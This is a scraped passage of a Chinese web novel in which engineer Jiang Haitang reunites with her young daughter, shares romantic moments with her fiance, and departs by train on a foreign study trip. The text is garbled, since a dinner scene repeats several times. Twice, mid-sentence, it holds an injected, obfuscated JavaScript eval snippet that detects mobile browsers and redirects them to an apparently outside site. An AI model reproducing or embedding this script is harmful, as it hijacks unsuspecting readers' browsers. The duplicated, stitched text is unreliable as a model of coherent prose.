跑到幼儿园扇油漆斑驳的木门前面,小家伙们都在院子里活动。 她急切地扫视着,寻找熟悉的身影。 角落的小板凳上,一个熟悉又似乎有点陌生的小小身影背对着门口坐着,正低头玩着一个磨掉了漆的木头小鸭子,小小的肩膀耷拉着,显得格外安静,甚至有些孤单。 正是小桃子! “小桃子!”姜海棠的声音带着难以抑制的颤抖和嘶哑,脚步踉跄。 听到这日思夜想的声音,那个小小的身影猛地一僵,然后飞快地转过身来。 当看清门口那个满身油污、一脸急切和疲惫的身影时,小桃子那双大眼睛里瞬间蓄满了泪水,小嘴先是难以置信地微张着,随即猛地一瘪—— “哇——!!!” 那哭声不是委屈的控诉,而是积压了一个月的思念、不安、害怕和骤然见到亲人的巨大宣泄,像决堤的洪水,再也控制不住。 老师忽然听到小桃子哭,吓了一跳。 小桃子是很乖巧听话的孩子,平日里,鲜少有哭的时候。 “小桃子,怎么了?”老师立即小跑到小桃子跟前。 小桃子小手指着大门口:“妈妈——!妈妈——!哇啊啊啊——!” 老师顺着小桃子指的方向看过去,看到了一个脏兮兮的女人,可不就是姜海棠吗? 小桃子并不知道姜海棠已经回来了,但老师是知道姜海棠回来的,更知道,为了厂里机器,姜海棠从回来之后这几天几乎不眠不休。 看样子,是刚才忙完就过来接小桃子了。 老师心里一酸,抱起小桃子朝着大门口走来。 小桃子被老师抱着,哭得撕心裂肺,小小的身体剧烈地颤抖着,仿佛要把这一个月积攒的所有情绪都哭出来。 老师听着小家伙哭得这样凄惨,眼圈也红了。 “姜工,您可算……可算能来看孩子了!小桃子这些天啊,天天念叨着想妈妈了,连休息时候都不和小朋友一起玩,总是一个人呆呆地坐着,一声不吭,小可怜见的……” 老师说着,都忍不住心酸了起来。 小桃子这孩子,是个可怜的娃娃,也亏得陆厂长和姜工两个心善,真心实意的对待这孩子。 姜海棠的心被女儿的哭声狠狠揪住、揉碎。 她一把将那个哭得浑身滚烫、上气不接下气的小身体死死搂进怀里! 一个月分离的酸楚和此刻重逢的激烈情感汹涌而至,让她自己的眼泪也瞬间夺眶而出。 小小的人哭的姜海棠肝肠寸断,她一直都知道,小桃子因为妈妈早早离开他的缘故,是缺乏安全感的。 她也一直在拼命的想弥补小桃子,可这样的感情,是很难弥补起来的。 偏偏,再过两天,她又要离开金城…… “乖宝!妈妈的小桃子!妈妈回来了!对不起……对不起……妈妈让你等太久了……” 姜海棠的声音哽咽得不成样子,她用力的、几乎要把女儿揉进骨血般紧紧抱着,脸颊紧紧贴着女儿被泪水浸得湿透的小脸蛋,不停地、语无伦次地亲吻着她的额头、眼睛、头发。 “是妈妈不好!妈妈坏!妈妈工作太忙了……妈妈想你,妈妈……” 小桃子感受到这熟悉到灵魂深处的怀抱和妈妈滚烫的泪水,哭得更加惊天动地。 她把小脑袋深深埋在妈妈的颈窝里,小手死死攥着妈妈沾满厚重油污的工作服,指甲都抠得泛白,仿佛用尽了全身的力气,要把这一个月失去的安全感都抓回来。 小家伙哭得小脸发紫,几乎喘不上气,嘴里含糊不清地喊着:“妈妈……别……别走……桃子乖……桃子想妈妈……呜哇……” “不走不走!妈妈不走!妈妈最爱最爱小桃子了!”姜海棠心如刀绞,一边更紧地抱着女儿,一边努力平复自己的情绪,温柔地、一遍遍地安抚着。 她稍微松开一点怀抱,用沾着油污却无比温暖的手指,极其轻柔、无比珍视地擦拭着女儿脸上纵横交错的泪水、鼻涕和口水。 “妈妈……臭……臭臭的……”小桃子大概是终于哭累了,抽噎着,断断续续地小声说,小鼻子在妈妈沾满机油和金属粉尘的衣领上蹭了蹭,但那双小手依然像铁钳一样牢牢抓着妈妈的衣服,生怕一松手妈妈就会消失。 姜海棠被她这带着哭腔的童言逗得又想笑,心头的酸涩却更浓。 一个月,对大人来说也许只是繁忙,但对一个幼小的孩子来说,无异于一场漫长的煎熬。 她低头,用自己的额头抵着女儿的小额头,泪水再次滑落:“嗯,妈妈脏,妈妈身上都是机器的味道。妈妈这一个月天天和机器‘打架’,沾了一身它的臭味儿。小桃子嫌弃妈妈啦?” 小桃子使劲地摇着小脑袋,眼泪又大颗大颗滚下来,她伸出小手,笨拙地去擦妈妈脸上的泪。 她带着浓重的鼻音,无比认真地说:“不……不嫌弃……妈妈……是英雄……妈妈打坏机器的英雄……” 她似乎努力想表达从大人那里听来的、关于妈妈工作的“了不起”。 姜海棠瞬间明白了,这几天,虽然所有的人都在尽量瞒着小家伙,可是小家伙还是从大家的话里听出了蛛丝马迹,知道她已经回来了。 所以,小家伙哭得这么厉害,是不是因为自己已经回到厂里了,却没有去看她? 想到这里,姜海棠更加愧疚了,她觉得,自己可能做错了,应该让陆良辰把孩子接过来看一眼的。 女儿说她是英雄,可是“英雄”二字像一把重锤,狠狠敲在姜海棠心上。 一股难以言喻的复杂暖流瞬间冲垮了堤防,混杂着无尽的心疼、愧疚和沉甸甸的责任感。 上辈子无儿无女,她不能体会这种感觉,可是这辈子,因为小桃子,她忽然明白了,职场女性在家庭与工作之间,是多么难以平衡。 想陪着孩子,也想努力工作…… 她紧紧抱住女儿,将脸埋在女儿小小的肩头:“傻孩子……妈妈不是英雄……妈妈就是个想做好工作、想保护大家的普通工人……可妈妈最对不起的,是我的小桃子……” “妈妈,小桃子想回家!”小桃子抱着姜海棠的脖子软软的说道。 “走,我们回家。”姜海棠深深吸了一口气,仿佛要将所有疲惫和心酸都压下去,也仿佛要汲取女儿身上纯粹的生命力量。 她抱起女儿,替她仔细整理好哭得皱巴巴的小衣服,抹平她汗湿的额发,声音带着哭过后的沙哑却异常坚定,“妈妈带小桃子去吃饭。宝宝想吃什么?妈妈给你买,管够!” 小桃子依偎在妈妈久违的怀抱里,小脑袋靠在妈妈肩上,虽然还在时不时抽噎,眼睛红肿得像小桃子,但整个紧绷的小身体明显放松了下来,流露出一种失而复得的巨大安心感。 她小声地、带着点怯生生的依赖说:“吃……吃妈妈做的面条……” 一个月前妈妈离开前给她做的那碗卧着荷包蛋的面条,大概成了她这段时间记忆里最温暖的味道。 “好!”姜海棠用力点头,抱着女儿,转身向门口走去。 第228章 孩子比我们以为的坚强 母女二人红着眼睛走了没多远,就看到了陆良辰,陆良辰的手里拿着两个铝制饭盒。 显然是去食堂打饭了。 “走吧,我们回家吃饭。”陆良辰没有伸手要求抱小桃子,他知道,这时候的小桃子,不会愿意让他抱着。 可是,却没想到小桃子软软萌萌的主动开口了:“爸爸抱抱。” 陆良辰很意外的看着小丫头,不敢相信,觉得自己肯定听错了。 “妈妈累了,让妈妈休息,爸爸抱小桃子!”小丫头不哭了,说话的时候,口齿清晰。 陆良辰立即将小桃子捞过来抱在怀里:“小桃子真是乖宝宝,知道心疼妈妈了。” 可是,小桃子越是表现的乖巧懂事,姜海棠就越发的难受。 “良辰,我后悔了,不想跟着周副部长去国外考察了,怎么办?”姜海棠说话的时候,语气还有点凝涩。 “因为小桃子吗?”陆良辰问。 姜海棠艰难的点点头。 “海棠,你不要冲动,我怕你这次放弃了,以后后悔。”陆良辰思考了一下说道。 作为姜海棠未来的丈夫,他希望姜海棠能在自己喜欢的领域里发光发热,而不是成为一个只会围着丈夫和孩子转的家庭妇女。 毕竟,他的海棠是那样的优秀。 姜海棠也沉默了。 “我知道,你现在觉得很难抉择。小桃子是你割舍不下的牵挂。” “上次我们去广交会,小桃子也没有哭成这样,这一次……” “妈妈回来了,没有找小桃子,小桃子好难过。妈妈不在的时候,小桃子想妈妈,但小桃子是坚强的孩子,不会哭。”小桃子忽然瘪着小嘴开口说。 姜海棠一滞,她没想到,小桃子竟然会如此聪慧。 “小桃子,妈妈是因为太忙了,没有办法带着你,妈妈错了,以后,只要回来,不管多忙,都接你过来好吗?” 姜海棠也已经意识到自己的错误了,因此,承认错误的时候非常痛快。 小桃子懂事的点点头,头上已经歪歪斜斜的小揪揪一晃一晃地,可爱的不得了。 “小桃子,如果过几天妈妈还要外出去很远的地方工作一段时间,你留在家里可以吗?”姜海棠试探问。 “在家的时候,妈妈可以陪着小桃子睡吗?”小桃子眨巴着红红的大眼睛,像是小兔子一样。 姜海棠只觉得整颗心都软了。 姜海棠听到女儿稚嫩的问题,喉咙像被一团棉花堵住。 她的乖宝宝,怎么可以这样可爱呢? 她手指轻轻抚过小桃子哭得发烫的小脸蛋,缓缓回答:“当然可以!以后,只要妈妈在家,小桃子随时可以和妈妈一起睡。” 她声音轻柔得像羽毛,却带着不容置疑的坚定。 “以后,妈妈只要在家,每天晚上都陪小桃子睡觉,给小桃子讲故事,唱儿歌,好不好?” 小桃子眼睛倏地亮了起来,像两颗被雨水洗过的黑葡萄,她伸出小拇指:“拉钩!” 姜海棠的指尖微微发抖,勾住那根细嫩的小手指。 当母女二人的指尖相触时,她忽然意识到——这是女儿第一次主动和她定下约定。 一个月前离开时,小桃子还只是懵懂地挥手说“妈妈再见”。 “拉钩上吊,一百年不许变!”小桃子认真地晃着小手,突然想起什么似的补充道:“爸爸作证!” 陆良辰一手稳稳抱着女儿,一手提着饭盒,闻言轻笑出声:“好,爸爸作证。要是妈妈说话不算数,爸爸就……” 他故意拖长音调,惹得小桃子好奇地仰起脸。 “就怎么呀?” “就惩罚妈妈!”陆良辰故意说道。 谁知道,小家伙立即表示强烈反对:“不行不行,爸爸不可以惩罚妈妈,妈妈是世界上最好的妈妈。” 陆良辰没忍住笑了:“你个小丫头,白疼你了。” “才没有哦,小桃子也喜欢爸爸,爸爸是世界上最好的爸爸。”小桃子可可爱爱,还在陆良辰的脸上吧唧亲了一口。 陆良辰瞬间觉得,所有的疲惫都消失不见了。 小桃子咯咯笑起来,一家三口沿着厂区林荫道慢慢走着。 五月的风裹胁着槐花香,拂过姜海棠沾着油污的发梢。 她突然发现路边的蒲公英已经结籽,记得离开时还是金灿灿的花海。 这一个月,她错过了多少女儿成长的瞬间? “妈妈看!”小桃子突然在陆良辰怀里扭动身子,小手兴奋地指向路边,“小蚂蚁搬家!” 姜海棠顺着女儿手指的方向蹲下。 一队蚂蚁正扛着食物碎屑横穿路面,阳光下像流动的细线。 这样寻常的景象,却因为女儿惊喜的语调变得弥足珍贵。 “它们是在为下雨做准备。”姜海棠轻声解释,指尖虚点着蚂蚁队伍,“就像妈妈要去国外学习新技术,是为了……” “为了造更好的机器!为我们过更好的生活做准备。“小桃子突然接话,眼 睛亮晶晶的。 姜海棠诧异地问:“这些话是谁给你说的?” “老师教我的,我说想妈妈了,老师就告诉我,妈妈努力工作,是为了为了造更好的机器!为我们过更好的生活做准备。老师还说,妈妈是很厉害很厉害的人。” 姜海棠怔住了,她没想到托儿所的阿姨会用这样的方式向女儿解释她的远行。 陆良辰适时的插话:“就像小桃子在幼儿园学儿歌,回来唱给爸爸妈妈听一样。” “那妈妈也要学新歌吗?”小桃子天真地问。 “妈妈要做的事,可比儿歌厉害多了。”陆良辰颠了颠怀里的女儿,声音不自觉地带上骄傲,“妈妈要学怎么造不用外国零件的机器。等妈妈回来,咱们厂的机器就都能说中国话了,再也不会不听我们的话了。” 小桃子似懂非懂地点头,突然搂住陆良辰的脖子小声说:“那爸爸要每天给妈妈写信,小桃子要画很多画等妈妈回来了看。” “好,爸爸有时间就陪着小桃子给妈妈写信画画好不好?” 姜海棠的视线突然模糊了。 她快步走到前面,假装整理被风吹乱的头发,实则悄悄抹去眼角的湿润。 身后传来陆良辰逗女儿的声音:“要不要画只大飞机?这样妈妈就能坐着它快点回家……” 一家三口很快走到了小院子里,离开一个多月,院子里的蔬菜长得郁郁葱葱,墙角陆良辰种上的蔷薇已经开始抽出枝条,顺着墙壁攀爬,一个个花骨朵儿掩映在绿色的枝叶里,十分漂亮。 “到家了。我们吃饭好不好啊?今天张爷爷给我们小桃子做了小桃子最喜欢吃的红烧丸子!”陆良辰轻声说着将小女儿放在院子里。 小桃子一落地,就蹦蹦跳跳地跑到屋里去了。 很快,她又哒哒哒地跑出来,怀里抱着一个铁皮饼干盒,献宝似的举到姜海棠面前:“给妈妈留的!” 盒子里整齐排列着十几块有些融化的动物饼干。有的缺了耳朵,有的少了尾巴,一看就是被小心啃过的。 “这是……”姜海棠疑惑地拿起一块兔子形状的饼干。 “爸爸妈妈给小桃子寄过来的饼干,小桃子每样都给你留了。”陆良辰放下饭盒,声音有些哑,“她说她喜欢吃的饼干,妈妈肯定也喜欢。” 姜海棠再也忍不住,跪地将女儿紧紧搂住。小桃子身上淡淡的奶香混合着饼干甜腻的气息,成了这世上最治愈的味道。 她感觉到女儿的小手在自己背上轻轻拍打,就像自己平时安 慰她那样。 “妈妈不哭,小桃子都不哭了。小桃子会把好吃的都给妈妈留着。”小桃子的声音软软的。 陆良辰蹲下来,宽厚的手掌同时覆住妻女的肩头。三个人的影子在午后的阳光下融成一团,分不清彼此。 这平常至极的动静,此刻却让姜海棠心头涌起难以言喻的眷恋。 她觉得,自己还没有出发,却已经开始思念了。 一家三口开始吃饭, 饭桌上,小桃子执意要坐在父母中间。 她一会儿给妈妈夹一筷子鸡蛋,一会儿又往爸爸碗里放丸子,忙得不亦乐乎。 姜海棠看着女儿用儿童筷笨拙却认真地分菜,伸手摸摸小丫头的头发。 “妈妈放心去工作!”小桃子嘴里含着饭,说得含糊却坚定,“小桃子和爸爸会照顾好我们家的,我们在家里等着妈妈回来!” 姜海棠望向陆良辰,对方冲她轻轻点头。 “我们的小桃子,比想象中的还要坚强,还要厉害呢。”陆良辰骄傲的说道。 姜海棠点头,或许孩子真的比大人以为的要懂事和坚强许多。 “下午我请假,陪陪小桃子吧。” “妈妈下午去工作,小桃子去上学,妈妈晚上来接小桃子就好了!” 慰她那样。 “妈妈不哭,小桃子都不哭了。小桃子会把好吃的都给妈妈留着。”小桃子的声音软软的。 陆良辰蹲下来,宽厚的手掌同时覆住妻女的肩头。三个人的影子在午后的阳光下融成一团,分不清彼此。 这平常至极的动静,此刻却让姜海棠心头涌起难以言喻的眷恋。 她觉得,自己还没有出发,却已经开始思念了。 一家三口开始吃饭, 饭桌上,小桃子执意要坐在父母中间。 她一会儿给妈妈夹一筷子鸡蛋,一会儿又往爸爸碗里放丸子,忙得不亦乐乎。 姜海棠看着女儿用儿童筷笨拙却认真地分菜,伸手摸摸小丫头的头发。 “妈妈放心去工作!”小桃子嘴里含着饭,说得含糊却坚定,“小桃子和爸爸会照顾好我们家的,我们在家里等着妈妈回来!” 姜海棠望向陆良辰,对方冲她轻轻点头。 “我们的小桃子,比想象中的还要坚强,还要厉害呢。”陆良辰骄傲的说道。 姜海棠点头,或许孩子真的比大人以为的要懂事和坚强许多。 “下午我请假,陪陪小桃子吧。” “妈妈下午去工作,小桃子去上学,妈妈晚上来接小桃子就好了!” 慰她那样。 “妈妈不哭,小桃子都不哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934328|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。小桃子会把好吃的都给妈妈留着。”小桃子的声音软软的。 陆良辰蹲下来,宽厚的手掌同时覆住妻女的肩头。三个人的影子在午后的阳光下融成一团,分不清彼此。 这平常至极的动静,此刻却让姜海棠心头涌起难以言喻的眷恋。 她觉得,自己还没有出发,却已经开始思念了。 一家三口开始吃饭, 饭桌上,小桃子执意要坐在父母中间。 她一会儿给妈妈夹一筷子鸡蛋,一会儿又往爸爸碗里放丸子,忙得不亦乐乎。 姜海棠看着女儿用儿童筷笨拙却认真地分菜,伸手摸摸小丫头的头发。 “妈妈放心去工作!”小桃子嘴里含着饭,说得含糊却坚定,“小桃子和爸爸会照顾好我们家的,我们在家里等着妈妈回来!” 姜海棠望向陆良辰,对方冲她轻轻点头。 “我们的小桃子,比想象中的还要坚强,还要厉害呢。”陆良辰骄傲的说道。 姜海棠点头,或许孩子真的比大人以为的要懂事和坚强许多。 “下午我请假,陪陪小桃子吧。” “妈妈下午去工作,小桃子去上学,妈妈晚上来接小桃子就好了!” 慰她那样。 “妈妈不哭,小桃子都不哭了。小桃子会把好吃的都给妈妈留着。”小桃子的声音软软的。 陆良辰蹲下来,宽厚的手掌同时覆住妻女的肩头。三个人的影子在午后的阳光下融成一团,分不清彼此。 这平常至极的动静,此刻却让姜海棠心头涌起难以言喻的眷恋。 她觉得,自己还没有出发,却已经开始思念了。 一家三口开始吃饭, 饭桌上,小桃子执意要坐在父母中间。 她一会儿给妈妈夹一筷子鸡蛋,一会儿又往爸爸碗里放丸子,忙得不亦乐乎。 姜海棠看着女儿用儿童筷笨拙却认真地分菜,伸手摸摸小丫头的头发。 “妈妈放心去工作!”小桃子嘴里含着饭,说得含糊却坚定,“小桃子和爸爸会照顾好我们家的,我们在家里等着妈妈回来!” 姜海棠望向陆良辰,对方冲她轻轻点头。 “我们的小桃子,比想象中的还要坚强,还要厉害呢。”陆良辰骄傲的说道。 姜海棠点头,或许孩子真的比大人以为的要懂事和坚强许多。 “下午我请假,陪陪小桃子吧。” “妈妈下午去工作,小桃子去上学,妈妈晚上来接小桃子就好了!” 慰她那样。 “妈妈不哭,小桃子都不哭了。小桃子会把好吃的都给妈妈留着。”小桃子的声音软软的。 陆良辰蹲下来,宽厚的手掌同时覆住妻女的肩头。三个人的影子在午后的阳光下融成一团,分不清彼此。 这平常至极的动静,此刻却让姜海棠心头涌起难以言喻的眷恋。 她觉得,自己还没有出发,却已经开始思念了。 一家三口开始吃饭, 饭桌上,小桃子执意要坐在父母中间。 她一会儿给妈妈夹一筷子鸡蛋,一会儿又往爸爸碗里放丸子,忙得不亦乐乎。 姜海棠看着女儿用儿童筷笨拙却认真地分菜,伸手摸摸小丫头的头发。 “妈妈放心去工作!”小桃子嘴里含着饭,说得含糊却坚定,“小桃子和爸爸会照顾好我们家的,我们在家里等着妈妈回来!” 姜海棠望向陆良辰,对方冲她轻轻点头。 “我们的小桃子,比想象中的还要坚强,还要厉害呢。”陆良辰骄傲的说道。 姜海棠点头,或许孩子真的比大人以为的要懂事和坚强许多。 “下午我请假,陪陪小桃子吧。” “妈妈下午去工作,小桃子去上学,妈妈晚上来接小桃子就好了!” 慰她那样。 “妈妈不哭,小桃子都不哭了。小桃子会把好吃的都给妈妈留着。”小桃子的声音软软的。 陆良辰蹲下来,宽厚的手掌同时覆住妻女的肩头。三个人的影子在午后的阳光下融成一团,分不清彼此。 这平常至极的动静,此刻却让姜海棠心头涌起难以言喻的眷恋。 她觉得,自己还没有出发,却已经开始思念了。 一家三口开始吃饭, 饭桌上,小桃子执意要坐在父母中间。 她一会儿给妈妈夹一筷子鸡蛋,一会儿又往爸爸碗里放丸子,忙得不亦乐乎。 姜海棠看着女儿用儿童筷笨拙却认真地分菜,伸手摸摸小丫头的头发。 “妈妈放心去工作!”小桃子嘴里含着饭,说得含糊却坚定,“小桃子和爸爸会照顾好我们家的,我们在家里等着妈妈回来!” 姜海棠望向陆良辰,对方冲她轻轻点头。 “我们的小桃子,比想象中的还要坚强,还要厉害呢。”陆良辰骄傲的说道。 姜海棠点头,或许孩子真的比大人以为的要懂事和坚强许多。 “下午我请假,陪陪小桃子吧。” “妈妈下午去工作,小桃子去上学,妈妈晚上来接小桃子就好了!” 第229章 我想…… 小桃子十分乖巧地说着还挥手和姜海棠道别。 姜海棠看着如此懂事的小丫头立即上前抱着她说:“那妈妈送我们小桃子上学可好?” 她马上又要出发也想多与女儿在一起相处一会儿。 接下来的两天姜海棠只要有时间就和小桃子在一起小桃子每天开心的想要飞起母女两个愉快的相处弄得陆良辰都有点儿吃醋了。 “海棠你好不容易在家里待几天怎么就牵挂着小桃子都不管我。” 姜海棠没好气地瞪了他一眼说道:“你也好意思多大的人了和小桃子争这个。” 姜海棠话虽然这么说可到底心里有些不忍握住陆良辰的手说道:“我晚上给你做你喜欢的红烧肉可好?” “别买肉了家里的肉票都存起来你走的时候带上。” 姜海棠被陆良辰这话给逗笑了她说道:“我这一次要出国咱们国内的肉票在外国可没用。” 陆良辰这才拍拍脑袋说:“看我都糊涂了。你去过国外要多带点钱人常说穷家富路的我看看咱们还有多少钱你都带上。” 姜海棠看着这样的陆良辰没忍住抱住他的脑袋在他的额头上轻轻的啄了一口。 姜海棠这蜻蜓点水的一吻刚落陆良辰挺拔的身子立刻绷得笔直比当初在军营接受检阅的时候还要僵硬。 他晒得黝黑的脸庞瞬间涨红手里攥着的肉票“哗啦“散了一地。 “海棠我想说让你注意影响!”他咽了咽口水声音里都是慌乱:“可是我更想抱着你亲一口。” 姜海棠被他直白的话惊得耳尖发烫还没来得及反应陆良辰已经一把扣住她的手腕力道大得让她踉跄了一下整个人被他拽进怀里。 他身上的气息扑面而来混合着淡淡的机油和阳光晒过的棉花的味道。 他的胸膛滚烫心跳声震耳欲聋姜海棠甚至能感觉到他胸腔里那股压抑不住的冲动。 “陆良辰你……”她刚想说话他的唇就已经压了下来。 这个吻很轻带着试探和克制像是怕碰碎了她。 他的唇有些干燥蹭过她的唇瓣时微微发颤 姜海棠睁大了眼睛手指无意识地攥紧了他的衣服。 院外传来家属院孩子的嬉闹声陆良辰猛地惊醒迅速退开半步喉结滚动嗓音低哑得不像话:“……对不起我冲动了。” 姜海棠的脸红得像熟透 的海棠果,嘴唇还残留着他触碰的温度。她抿了抿唇,小声嘟囔:“……你倒是亲完才想起来道歉。” 陆良辰一愣,随即低笑出声,胸腔震动,带着几分痞气:“那要不……再亲一次?” “想得美!”姜海棠羞恼地推了他一把,却被他反手握住手腕,指腹轻轻摩挲着她的腕骨,眼神炽**让她心跳加速。 “海棠。”他嗓音低沉,带着军人特有的坚定,“我等不了了,我好想现在就和你结婚。” 姜海棠红着脸没说话。 陆良辰接着说:“等你从德国回来,我们就结婚,那时候,我就可以光明正大地亲你了。” 姜海棠被陆良辰弄得整个人都有些迷糊,她红着面颊,低头掩饰自己发红的羞涩,轻哼一声:“谁要嫁给你……” “不嫁我嫁谁?”他挑眉,拇指蹭过她的指尖,语气霸道又温柔,“咱们可是订过婚的,你想反悔都不行!” 姜海棠嘴角不受控制地上扬,她羞涩地挣开他的手。 “被别人看到了不好。” “我们家里,不会有人看到。”陆良辰语气暗哑的说。 他抬手摸了摸自己的唇,眼里全是笑意。 这一吻,他等太久了。 可是,亲了她,他好像还是不满足,还是想要更多…… 姜海棠其实也有些不敢相信刚才发生的一切。 陆良辰真的…… 她摸了一下自己的嘴巴,刚才那温润火热的触感还在。 她没忍住砸吧了一下嘴巴。 姜海棠意识到自己在想什么的时候,立即说:“我去接小桃子。” 说罢,她转身就跑带着几分落荒而逃的意。 陆良辰一把将姜海棠拽了回来,姜海棠再次跌入陆良辰的怀抱。 “等等。”他声音压得极低,喉结滚动两下。 姜海棠看着他这样,一点都不怀疑,他会再度亲上来。 “我们不能……” 陆良辰立即松开姜海棠说:“我只是想说,批文今天到厂办了,我给你带过来了。” 陆良辰从中山装内袋掏出个牛皮纸信封,信封边角平整如新,火漆封口处还带着体温。 打开信封,姜海棠指尖摩挲着纸上“赴D国技术考察”的字样,摩挲着落款处工业部的钢印。 陆良辰军姿笔挺地站着,目光却柔软地落在她发梢:“周副部长给你加急批下来的,签证也统一办好了,你提前去京城,和周副部长他们汇合。” 说 了这会儿话陆良辰澎湃的情绪总算平复了下来。 “谢谢你能支持我良辰。”姜海棠目光灼灼的看着陆良辰。 她何其有幸遇到了陆良辰这样一个男人。 不要说这个年代的男人就算是后世的男人也大都不会支持女人搞事业可是陆良辰却能一直坚定地支持她的工作。 “我是你未来的丈夫支持你不是应该的吗?”陆良辰笑着说语气里都是包容和宠溺。 在这样温柔的目光里姜海棠没有忍住纤细的手轻轻攀上陆良辰的脖颈指尖触到他后颈处短短的头发茬微微发痒。 她踮起脚尖仰起脸慢慢靠近他。 午后的阳光透过梧桐树叶的间隙在她脸上投下细碎的光斑睫毛在脸颊上投下一小片颤动的阴影。 陆良辰的呼吸明显一滞喉结上下滚动。 他想要后退却被她勾着脖子拉近。两人的鼻尖几乎相触他能闻到她身上淡淡的肥皂香味道干净而又温馨。 “海棠……”他嗓音发紧双手悬在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小桃子立刻回答:“玩的时候有点热,其他时候不热!” 小丫头开心地蹦跶着,还不忘记问:“妈妈,我们今天晚上吃什么?” “晚上吃鸡蛋饼好不好?” “小桃子吃鸡蛋饼,我要吃葱花饼,多多放葱的那种。” 姜海棠笑着说:“好,再给你们做个疙瘩汤。” 小桃子立即提供情绪价值:“妈妈做的饭都好吃。” 姜海棠摸摸女儿的头顶,笑得一脸温柔。 等姜海棠再抬头,忽然说:“良辰,你这件衣服晚上给我,扣子有些松了,我帮你重新钉一下。” “啊?那颗?”他下意识整了整衣服,果然看到其中一颗扣子要掉不掉。 “有媳妇关心真好!”陆良辰憨憨地笑着,满心满眼都是眼前的身影。 第230章 使命 三天后的清晨,金城火车站笼罩在薄薄的晨雾中。 姜海棠穿着藏蓝色“的确良”衬衫,拎着帆布行李包,站在月台上。 远处传来蒸汽机车的轰鸣声,铁轨微微震颤,列车即将进站。 陆良辰一身笔挺的军绿色干部装,一手抱着还在揉眼睛的小桃子,一手提着装满吃食的网兜。 “妈妈真的要走吗?”小桃子趴在陆良辰肩头,声音带着刚睡醒的软糯,还有一些不舍得。 妈妈才刚回来几天啊,怎么就要走了呢? 姜海棠心里软得一塌糊涂,她接过女儿,在她红扑扑的小脸上亲了又亲。 “妈妈很快就回来,给你带会眨眼睛的洋娃娃。小桃子在家要乖乖听爸爸的话哦!” “好,妈妈,小桃子会乖乖的。”小桃子竖起一根手指,突然想起什么似的,从口袋里掏出个用手帕包着的东西,“给妈妈的!” 手帕里是三块小桃子最爱吃的动物饼干,姜海棠鼻子一酸,小丫头怎么可以这样招人稀罕呢? “妈妈的宝贝,妈妈会想你的。” “呜——”汽笛长鸣,绿皮列车喷吐着白烟缓缓进站。 站台上顿时人声鼎沸,拎着大包小包的旅客开始涌动。 姜海棠心中虽然不忍,还是将女儿递给陆良辰。 陆良辰把网兜递给姜海棠:“煮鸡蛋十个,葱花饼五张,一罐牛肉酱,五根黄瓜,都是张师傅给你准备的,够吃到京城了,老头子说,等你回来了,给你做好吃的。” “你帮我谢谢他。” 陆良辰点头,又顿了顿,从内袋掏出个牛皮纸信封,“这是全国粮票二十斤,工业券五张,你……” “我用不了这么多,你不是都给我很多钱了吗?”姜海棠推回去,“再说了,我们出去学习,部里都安排好了。” “穷家富路,就算出国不用,在京城的时候,说不定也能用得到。”陆良辰固执地塞进她包里。 “我到了京城,会抽时间帮你去看看家人的,我也会去看看……” 陆良辰点头:“应该的,你去陪陪姜爷爷,他会很开心。” 列车员开始吹哨催促,姜海棠匆忙把东西收好,最后亲了亲小桃子的脸颊。 陆良辰突然上前一步,借着帮她整理衣领的动作,在她耳边飞快地说:“每周三厂办能接到国际长途,我等你电话。” 姜海棠立即听明白了,这估计是陆良辰想办法申请的。 “旅客同志们请注意,开往京城的T18 次列车即将发车……” 广播里传来字正腔圆的播报声。 姜海棠拎着行李登上列车,在靠窗的位置坐下。 透过有些模糊的车窗,她看见陆良辰抱着小桃子站在月台上,小桃子正拼命挥动着小手。 列车缓缓启动,陆良辰突然跟着跑了几步,嘴唇开合着说了句什么。 姜海棠的眼眶酸酸的,刚出发,她已经开始思考了怎么办? 车下的男人和孩子,是她放不下的牵挂啊! 列车加速驶离站台,金城的轮廓渐渐消失在晨雾中。 姜海棠拿出一个笔记本,开始在上面写写画画起来。 乘务员推着餐车经过:“同志,需要早餐吗?有稀饭和馒头。” “谢谢,我自己带了。” 姜海棠笑着向乘务员道谢之后,打算把早饭拿出来,却觉得有些食不下咽。 最终,她还是没有吃饭,而是继续在笔记本上写写画画,努力汲取知识。 她总有一种时间不够用的感觉,总想努力地多做点儿工作。 火车穿过华北平原,窗外的景色由连绵的麦田逐渐变成起伏的山丘。 姜海棠坐在靠窗的位置,手中铅笔在笔记本上沙沙作响,她时而蹙眉思索,时而快速勾勒几笔,笔尖在纸上留下一道道流畅的线条。 忽然,对面座位传来一声轻咳。 姜海棠抬头,看见一位约莫五十岁出头的女同志正望着她。 女同志戴着老式的黑框眼镜,镜片后是一双锐利而温和的眼睛,眼角有几道细纹,却丝毫不减其神采。 她穿着洗得发白的藏蓝色列宁装,胸前别着一枚小小的徽章,整个人透着股干练沉稳的气质。 “同志,你这轴承改良图画得不错。”女同志推了推眼镜,声音温和却带着不容忽视的专业性。 她伸手指向图纸某处,姜海棠注意到她的手指修长,指节分明,指甲修剪得整齐干净,却带着些许磨损的痕迹,那是常年与机械打交道才会有的痕迹。 姜海棠没想到,对面就座了一名专家,她忙微笑着看向对面的女同志。 姜海棠眼睛一亮,立即放下钢笔,微微前倾身子,问道:“您懂机械设计?” “工业部技术司,陈玉茹。”女同志伸出手,腕间露出块老式上海牌手表,表带已经有些磨损,却依旧走得精准。 她的握手有力而温暖,掌心带着薄茧,显然是个实干派。 姜海棠连忙自我介绍:“你好,我是金城纺织厂, 姜海棠。” 她的声音里带着掩不住的兴奋,“真荣幸,能和您在同一辆车上。” 